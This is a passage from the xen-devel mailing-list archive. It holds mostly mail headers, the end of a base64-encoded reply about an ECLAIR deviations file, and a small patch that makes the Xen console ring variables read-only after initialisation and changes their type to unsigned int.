 =?utf-8?B?TzJhMU9RQ1JzcjhpYnFJdzhKQmlJa2lXYTZqQm5yWCt0aXRYb2J6bmtTQUxZ?=
 =?utf-8?B?TkwvejEvTGtpS2IxZm54SXZmdGhmSUMxU21nNFRQWG5CN3hKMkxKSWN0b2pR?=
 =?utf-8?B?L2VGd2I3V1hDZksxWElmeXUwQSs1a3N0SWhkNnlZZVJLSXd6SHlHQzZlRmFx?=
 =?utf-8?B?bjgvS2NTNnFlV1QxZmlFaE1HL0hlOWgrY3lxRmRVbk8wVnJDeU1EQlE2T3dD?=
 =?utf-8?B?NWJiNVQxOStGc1BRTU1SenlhZ1RZUGhsVmc5VjQ5aGxlTWZzTzlYWllDMlE4?=
 =?utf-8?B?RFRiOFdwOCtYVG02VldEbWh5QlFUcEIvZUpMNmxSYkRHZXRjdHNFd0tTQ1E1?=
 =?utf-8?B?YjVveWtTNVU3TE1ZY0xKcU52RXEzQ2o1blpVZU00dG1XMzJja2xBMUlsNlRK?=
 =?utf-8?Q?3NPPRvYrfAaS9+DE=3D?=
Content-Type: text/plain; charset="utf-8"
Content-ID: <63DB3FB546B57444B19F55B09FCCA166@eurprd03.prod.outlook.com>
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 6bfdd29b-420c-46f5-2693-08dee1088412
X-MS-Exchange-CrossTenant-originalarrivaltime: 13 Jul 2026 17:59:42.4477
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: 11RKqAy79z/ZrT5cmgBn9PF/0h2DGXFQq42GrikKpWg8jNz22B+PJZsf3uTdVadlVGQADqHXEReGipfKUuub2I0jDznhy48e67ffRtKzBYA=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: GVXPR03MB10309
X-purgate-ID: tlsNG-ef75cf/1783965590-1F562201-E8B1DE52/0/0
X-purgate-type: clean
X-purgate-size: 3006

SGVsbG8gSmFuLA0KDQpPbiA3LzEzLzI2IDEwOjA5LCBKYW4gQmV1bGljaCB3cm90ZToNCj4gT24g
MTIuMDcuMjAyNiAxNjowNCwgRG15dHJvIFByb2tvcGNodWsxIHdyb3RlOg0KPj4gLS0tIGEvYXV0
b21hdGlvbi9lY2xhaXJfYW5hbHlzaXMvRUNMQUlSL2RldmlhdGlvbnMuZWNsDQo+PiArKysgYi9h
dXRvbWF0aW9uL2VjbGFpcl9hbmFseXNpcy9FQ0xBSVIvZGV2aWF0aW9ucy5lY2wNCj4+IEBAIC0x
MzYsNiArMTM2LDEwIEBAIFRoZXNlIG1hY3JvcyBhZGRyZXNzIGRpZmZlcmVuY2VzIGluIGFyZ3Vt
ZW50IGNvdW50IGR1cmluZyBjb21waWxlLXRpbWUsIGVmZmVjdGl2DQo+PiAgIC1jb25maWc9TUMz
QTIuUjUuNSxpZ25vcmVkX21hY3Jvcys9Im5hbWUoaHlwZnNfYWxsb2NfZHluZGF0YSkmJmxvYyhm
aWxlKF54ZW4vaW5jbHVkZS94ZW4vaHlwZnNcXC5oJCkpIg0KPj4gICAtZG9jX2VuZA0KPj4gICAN
Cj4+ICstZG9jX2JlZ2luPSJDbGFzaCBiZXR3ZWVuICdyZXF1ZXN0X2lycSgpJyBmdW5jdGlvbiBh
bmQgbWFjcm8gbmFtZSBpbiAneGVuL2RyaXZlcnMvcGFzc3Rocm91Z2gvYXJtL3NtbXUuYycgaXMg
ZGVsaWJlcmF0Z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GRhdGUgd29yZGluZyB3aXRoIHNwZWNpZnlp
bmcgZmlsZSBuYW1lLg0KDQpCUiwgRG15dHJvLg==


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 18:16:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 18:16:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361814.1613884 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjLCm-0004R7-Rd; Mon, 13 Jul 2026 18:16:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361814.1613884; Mon, 13 Jul 2026 18:16:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjLCm-0004Qy-Ns; Mon, 13 Jul 2026 18:16:36 +0000
Received: by outflank-mailman (input) for mailman id 1361814;
 Mon, 13 Jul 2026 18:16:35 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wjLCl-0004E9-6c
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 18:16:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjLCk-00El2B-JX
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 20:16:34 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a552b72-e002-0a2a0a5209dd-0a2a450ae58e-10
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 20:16:34 +0200
Received: from [148.163.143.241] (helo=mx0b-00498f03.pphosted.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmukhin@ford.com>)
 id 6a552b7f-ec7d-0a2a450a0019-94a38ff12bb2-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 20:16:33 +0200
Received: from pps.filterd (m0367128.ppops.net [127.0.0.1])
 by mx0b-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66DI3KiK4008915
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 18:16:31 GMT
Received: from dm5pr21cu001.outbound.protection.outlook.com
 (mail-centralusazon11011007.outbound.protection.outlook.com [52.101.62.7])
 by mx0b-00498f03.pphosted.com (PPS) with ESMTPS id 4fd20a2nrg-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 18:16:31 +0000 (GMT)
Received: from BN9PR03CA0115.namprd03.prod.outlook.com (2603:10b6:408:fd::30)
 by PH0PR16MB4040.namprd16.prod.outlook.com (2603:10b6:510:55::19)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.19; Mon, 13 Jul
 2026 18:16:28 +0000
Received: from BL6PEPF0001AB4D.namprd04.prod.outlook.com
 (2603:10b6:408:fd:cafe::76) by BN9PR03CA0115.outlook.office365.com
 (2603:10b6:408:fd::30) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.19 via Frontend Transport; Mon,
 13 Jul 2026 18:16:28 +0000
Received: from mx0a-00498f04.pphosted.com (205.220.161.53) by
 BL6PEPF0001AB4D.mail.protection.outlook.com (10.167.242.71) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.9
 via Frontend Transport; Mon, 13 Jul 2026 18:16:27 +0000
Received: from pps.filterd (m0426317.ppops.net [127.0.0.1])
 by mx0a-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66DHfpGP2048501
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:16:26 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [34.209.42.160])
 by mx0a-00498f04.pphosted.com (PPS) with ESMTPS id 4fc4wqswt6-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:16:26 -0400 (EDT)
Received: from localhost ([19.12.92.222]) by cmsmtp with ESMTPSA
 id jLCZwI4F9Mm2yjLCaw8hM7; Mon, 13 Jul 2026 18:16:26 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=JIy
	iTu7QCzAjlfuDW1hzX2VhrdEr2rHhHBlHANAcsfE=; b=Kr1e3IgBeSYDG0C+oBL
	gmX8AnSDnxZi2xcym5hXOFSbl7UwbwmMbKpUV+s9NRXis1JCG6RmLiC/QVR0xLdi
	40jvrlx09htC+nBgRj3t0lNAMGgveENGIJEWIxSCY/2n3WCNcTxl0b6QRkEV4LX9
	N3vF8w9BrDA8SG4ulPmj0NObfddLqRk3ekX22o3Cawps5IYfV/B8q5DsfEpvBrFH
	+SMrF2R/hHYU1Qw0qd4eknoiEDlE7LgI5FJzXZFgzhyW5rpz3t4RxVp/KrFAVS6D
	yhW/MgTCiSdmvYi/WfgU7FZWqZ34JuuPmUj7sCEW7xIotAeVX7fzEhXy1kZ62Kdo
	50Q==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=gVncxdmsDfMW+zhlrtDcOSNF6CIFvQgv7FwiZ/yWDld2x4/CyUSIdPAsvLDAcCEbgBiuYs+YD9HXyIgZ5+AG80YfCZSdGtmQ/9BJqDZVHp2fO8R3WfG/PNg4AzL5r9TlRIUONFhgrI0c5Ffr1Hxcb07Ew3wT+0uiw84FkVEls2v/oPD9wb8ac1OrvpzwH4hLsrhXPzzFNVYkjit2I2BkI9SoilrpMBRv3s4obo6eR4O/NxWaD+LLTvCOcJBCXoW215zH7+c87pU852fuImi/v8tyQUTBPOvEjMi5xKFojjqUizY1Y6FMTaUCqSDEhYu4CF8HryaZGRumT0occ6a9IQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=JIyiTu7QCzAjlfuDW1hzX2VhrdEr2rHhHBlHANAcsfE=;
 b=pDAO5Ws9eLR4uog8IaCUqAC34NaZUvVnkASs46LjX6wVe6ziDSjXCId+4MnXcE54m8Xl72FefIFiPot2hmZBxBg12a9hGSjKvDIX3c3sLb4bn/bo+JO0hGf3Fip2KiUMrDLZmH9aXcrdDNd5+Si+2zwmQIU3wEX8u9MRu5KbeixsXMKlv1hImTODO7g+8aO/hCEq8V2aG4/5t9xAM9saUcIBnk944y2HVS4Cqff31VefMXGnHl4CRS4rXEbqyrRwq3AjXmveim2d/mP/U2rGzzZaRHhkbupMtcQjHEwzHG/0+COVskoCpFcbWLjLEZPD+FglTJ2KlzhqtuRMUkkwPA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 205.220.161.53) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=JIyiTu7QCzAjlfuDW1hzX2VhrdEr2rHhHBlHANAcsfE=;
 b=PQznrmxL2+z6ZvlODkRiXY3jbdfhp4LwrqV0Isx+Icb4T0M7hXuBuUBaGlTBklket/BgzHBVqAD0qGjUPpjXbqRRk4pFJx/E1gOC0VzgUY2G0ZXEeSPQ3CUNOEd9gZi+TcrrNMPJEkxNgA90rfxsqjh0jL5b9oitxZyqC3Knbvc=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 205.220.161.53)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 205.220.161.53 as permitted sender) receiver=protection.outlook.com;
 client-ip=205.220.161.53; helo=mx0a-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=JIyiTu7QCzAjlfuDW1hzX2VhrdEr2rHhHBlHANAcsfE=; b=
	C1RMOwWpoH4Xfqob4W1Wj8VcQ6F5F3955habByobVgc2LgV8fVqfObr+f/MHXYLd
	YoEL829tCbS3BwWu+8WcO79p2i7hnDvLmad6wjN1ymBwsK/2Y0YBYezH2dvBN1pV
	YbheRLDKvNp/CWTG283KZ1s/s6JwpnK712RGsuIsG85skEvWYtGFA1TZiJzJxUW5
	jcDC1BXMNmzbmUjt2R6cpjrNEO/dV1Oqm8XvUu+uxN1+wXBMhIQoesToPjLo/09N
	j6Vtvum55vjFFWvKzmDxvDj4gJJNU1YKkrbSV6kABZ9CXg3WhpxeS+jZpLdK2BIu
	uUVd/2Vl71OdMtLOg1entg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=JIyiTu7
	QCzAjlfuDW1hzX2VhrdEr2rHhHBlHANAcsfE=; b=gOh+OiCJxShutkpVXwvxd8K
	zrKsnzc8tPuZt307cr0aZxNwFYMj8S5FdN8nKBW6qDJ5YU3+HmNnxrNyZjs5xTa2
	+UgMwWIZQlQ2K1FQGSK3769fWg0sYpY/RGJAzkWeImC6IJVZHiN4XGuJ43cGQE9z
	6fkyPE/rkO5We3z+gYJbbhff61vJTLJa+1lzebDw1cFFVqN2F8QuMa/cPovN/me/
	c40x923l+z/+AWcYKONeR1ENCCBnL9WflLU85a01w6NCldGsb/QAQo2ZylCwrvhg
	RXnzXuwbmiInX/GYA28H5VK8fu5Axe6ekNlqn+uv1MASXbc3mNXzPheFO55Z1qw=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: jLCZwI4F9Mm2yjLCaw8hM7
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v7 1/7] xen/console: promote conring{,_size} to __ro_after_init
Date: Mon, 13 Jul 2026 11:16:13 -0700
Message-ID: <20260713181619.672176-2-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260713181619.672176-1-dmukhin@ford.com>
References: <20260713181619.672176-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-13_04,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 adultscore=0 phishscore=0 malwarescore=0 lowpriorityscore=0 spamscore=0
 bulkscore=0 classifier=typeunknown authscore=0 authtc= authcc= route=outbound
 adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607130189
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BL6PEPF0001AB4D:EE_|PH0PR16MB4040:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: 01d98f4e-0910-4712-8d3b-08dee10adb7b
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|1800799024|36860700016|23010399003|376014|22082099003|18002099003|3023799007|56012099006|11063799006|6133799003;
X-Microsoft-Antispam-Message-Info:
	GrZlptCUF7VWxAT1Wrg1zcCu696SwxkzfRbmpM3V5YuAIB6BYq98rgEK3VYSmWLmta1nS4hL/aDdskCBmdoIAW4wauxP7UZb+/SyABZ+bYBJ/2vUjEFVkyTLpVM/z7hkTJh2mo5EJ3G74lSG7/sWzous8NGLpKQ8FMhLdWY41wC03MuhzRTtUbMDfxK1oGDMmmo22y0TJIznCBP/RAqeEkQUpEpEmeYq4uT0YXJttMyCynTCwjxdkX0YRFyx0sYz1zT0vv2/7Isv+5qyJ8mDcX6QQ2uKmmdabyY0DrQy0hVIQbSJa62GiiPKJe9s12GC1/d9lLtPP5d5JzE9bId1qfmFnsDi6p2p/Tz7hDRJ2dTeWEfa+THiIYwBmS4cetIHSi3CdduKNakxhtm7wnHCiaZ/3KUY2tCVKntj5qnyKDdCRA0ELAPUaaV7HA2DZzmJpLRwkkVtDkZ8aSPgURVZPEcnH4E7MyZI2mVkiNAyvRCtLrZ6CLRT9PVyw6PFs06f2AxmFHa5RVDGNcj4nhjRCCXzFIwVJnNp0tIGoi1zjOxakGO8YgeYLsuvbUs4omUMGJeIWRXTx2JZ41hCrG/BjSdrHl5GtKKPYDA2rpOofTvHY9Q2QWtcrAuYXhhqoTTqBxiQ7GHEWYX8MsLQfU2bU9k9Qj0Q1auyt32whgV5U+YqX37ql6BAri7wQnaW4LYoJpXlpQbjyN3ATu9nkepPQw==
X-Forefront-Antispam-Report:
	CIP:205.220.161.53;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0a-00498f04.pphosted.com;PTR:mx0a-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(82310400026)(1800799024)(36860700016)(23010399003)(376014)(22082099003)(18002099003)(3023799007)(56012099006)(11063799006)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	rk0BK1y81F0fmvF1h5pgxrrXAgQCJM7LdClesjROKrcgqBEcz6jiBAEKmBCFa1dWYrPqyAkRbtZjlZDKBBGQ3L/wmzlx6U9BdeaTqmtKU51fUUGXEzUu0v1vZWwpyixQD25u2/WHs43RtzNV1vLBgO95te6H12eBvMEsB56bAEq2QEbYucQ8JnNYFAqg5fSvrUKE0ALGfTfcxiicIvSntMNP57dUp+1dqSTyzQcKNI9AUAgIVviZxqpveu3McJzcr8YXSiYTF7c2AURxGPZeklWQg+xAe5p7vlN/GyW9+xvu3Oo+oAlkHRCFhOYHvHaVendqTLyuXYtzikaqfGv96fhCzWJ2FNSjSB3FO8/82xdufQTMpCclWY6ubXCdIhtULBCAQAtSDzSfX+bbFKxOyWYl59pTSI7Id8Giu8nXLJuH7b68hFBkh5pG0tkxgws2
X-Exchange-RoutingPolicyChecked:
	Ulyktjs23rEYNLnagOlDtCOwLTPP6EBbXSZOJHDcnG14MObDpBFuTibVpXW3n4EGxrGvXgcEIJ7xT1Uqm4/6XD3CVWmUQZ1sXGxxLKIcnhqrZvTv+cZwm4bK3h7LjTJMfL+uLp/TEAiBJhHl7G7pw9Fs/GxT6GQIqSPVHJr97OGy1ia9iPbI/WqxFgzPU2Ii3qpXVyXWAwCS+ESeMAPSVsiSZ1JvU/tr8RFQ4D2cJW9/8CdIoA3vhtXUj694gXOmPeg/Gp9x5m/ibB7wWI39DhOJk4DP0eVPMdchK0asmfv0M9L1DX1zBWzCXW3Om519wENlSF0EjEBJX2IXIy1pmQ==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	+xghdHhv8AxPHNprb/crKOkU4L+/1qFwr4J46SDnGsN0QZbh4QMzDQQmg+7+1ojOcsXSUyZZ0tHDQI/mHNFEtJHkblias0VSpLEgurfbLhrmM9xvah0HVllF9HXzfFKIXmAoC+tO+yNHvgn9nqg8gNzeRFKXaH9YuhQS0kg7/BRvxMAN+HtJFBK5FBI36grfiVYRvCFiwYen6yMCz1k12R0dZzH0PbySpNX8l5zoFosdGzPKGlPtGlALrms8cVVypjKrbR1uLeygGatm9hXNYrqllBWwQ+w7acxZJ3a0GrAvv7YvLTOI3x0hc0JcXo1Md+Wz0teuY9xu3PMsOB/eDX9+7enlD/Q3Y+GQpbw3TDIv2SMTnI/reWBKL26nbW4zaP3G5ceMePkg6ZnlB6BSG1GWFKctXzj7kP6xetfY7kHlb6qV1+rhDAbqzG9cdjA+6Ry4mwb+biohZeH7GZC59dEUlJhrNgF/gypv/EZvNXUP8aj/6nfTR+PqT1PQ4ZYH2O+jpFLil+jCGBMiQz5frRQtqU7J6EZ1FgSahUvHGgvN4nHM24wtkimkIn4BBNyJNQS35x9vbFV0mhM8Hh1v5KgXD5f0f+ymovFTtO5u1f2kkWjMvaQUiNJMxzxL7g3LKs49P08WRsHP1i7TRhBCFQ==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 13 Jul 2026 18:16:27.8273
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 01d98f4e-0910-4712-8d3b-08dee10adb7b
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[205.220.161.53];Helo=[mx0a-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BL6PEPF0001AB4D.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH0PR16MB4040
X-Authority-Analysis: v=2.4 cv=XYC5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/Dk6jNgXgZZDYzDRi2ZNLVqFRVwia1
 9fOSQCCtJW+/7FqRFMh/C7YqJsLgqKoCKe1t7r7BZMjHmnU1eo2Z
X-Proofpoint-GUID: 0GSFW6DwP2Xl_MqnJLDHD-vbJ9VsB0u5
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-13_04,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 priorityscore=1501 spamscore=0 impostorscore=0 adultscore=0 bulkscore=0
 phishscore=0 malwarescore=0 suspectscore=0 clxscore=1015 lowpriorityscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607130189
X-purgate-ID: tlsNG-4011c0/1783966594-ACF47248-84451B3C/0/0
X-purgate-type: clean
X-purgate-size: 1463

From: Denis Mukhin <dmukhin@ford.com> 

Both conring{,_size} should be RO after initialization is completed.

Change the conring integer parameters type to `unsigned int` as required
by CODING_STYLE.

Suggested-by: Andrew Cooper <andrew.cooper3@citrix.com>
Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v6:
- rebased
---
 xen/drivers/char/console.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index dbda7f259668..5ebbbf63c092 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -340,15 +340,15 @@ static void cf_check do_dec_thresh(unsigned char key, bool unused)
  */
 
 /* conring_size: allows a larger console ring than default (16kB). */
-static uint32_t __initdata opt_conring_size;
+static unsigned int __initdata opt_conring_size;
 size_param("conring_size", opt_conring_size);
 
 #define _CONRING_SIZE 16384
 #define CONRING_IDX_MASK(i) ((i)&(conring_size-1))
 static char __initdata _conring[_CONRING_SIZE];
-static char *__read_mostly conring = _conring;
-static uint32_t __read_mostly conring_size = _CONRING_SIZE;
-static uint32_t conringc, conringp;
+static char *__ro_after_init conring = _conring;
+static unsigned int __ro_after_init conring_size = _CONRING_SIZE;
+static unsigned int conringc, conringp;
 
 static void cf_check conring_notify(void *unused)
 {
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 18:16:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 18:16:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361813.1613874 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjLCl-0004EL-Gs; Mon, 13 Jul 2026 18:16:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361813.1613874; Mon, 13 Jul 2026 18:16:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjLCl-0004EB-EB; Mon, 13 Jul 2026 18:16:35 +0000
Received: by outflank-mailman (input) for mailman id 1361813;
 Mon, 13 Jul 2026 18:16:33 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wjLCi-0004Dx-Il
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 18:16:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjLCg-00EXP1-Sk
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 20:16:30 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a552b7c-5cb7-0a2a0a5109dd-0a2a45079ba2-2
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 20:16:30 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmukhin@ford.com>)
 id 6a552b7c-ac46-0a2a45070019-94a39217c77c-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 20:16:29 +0200
Received: from pps.filterd (m0482516.ppops.net [127.0.0.1])
 by m0482516.ppops.net (8.18.1.11/8.18.1.11) with ESMTP id 66DI3JrX4000179
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 11:16:27 -0700
Received: from ch5pr02cu005.outbound.protection.outlook.com
 (mail-northcentralusazon11012007.outbound.protection.outlook.com
 [40.107.200.7])
 by m0482516.ppops.net (PPS) with ESMTPS id 4fd4wfr65a-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 11:16:27 -0700 (PDT)
Received: from DM6PR01CA0021.prod.exchangelabs.com (2603:10b6:5:296::26) by
 IA2PR16MB6493.namprd16.prod.outlook.com (2603:10b6:208:4ac::17) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.19; Mon, 13 Jul
 2026 18:16:25 +0000
Received: from DS1PEPF00017091.namprd03.prod.outlook.com
 (2603:10b6:5:296:cafe::e) by DM6PR01CA0021.outlook.office365.com
 (2603:10b6:5:296::26) with Microsoft SMTP Server (version=TLS1_3,
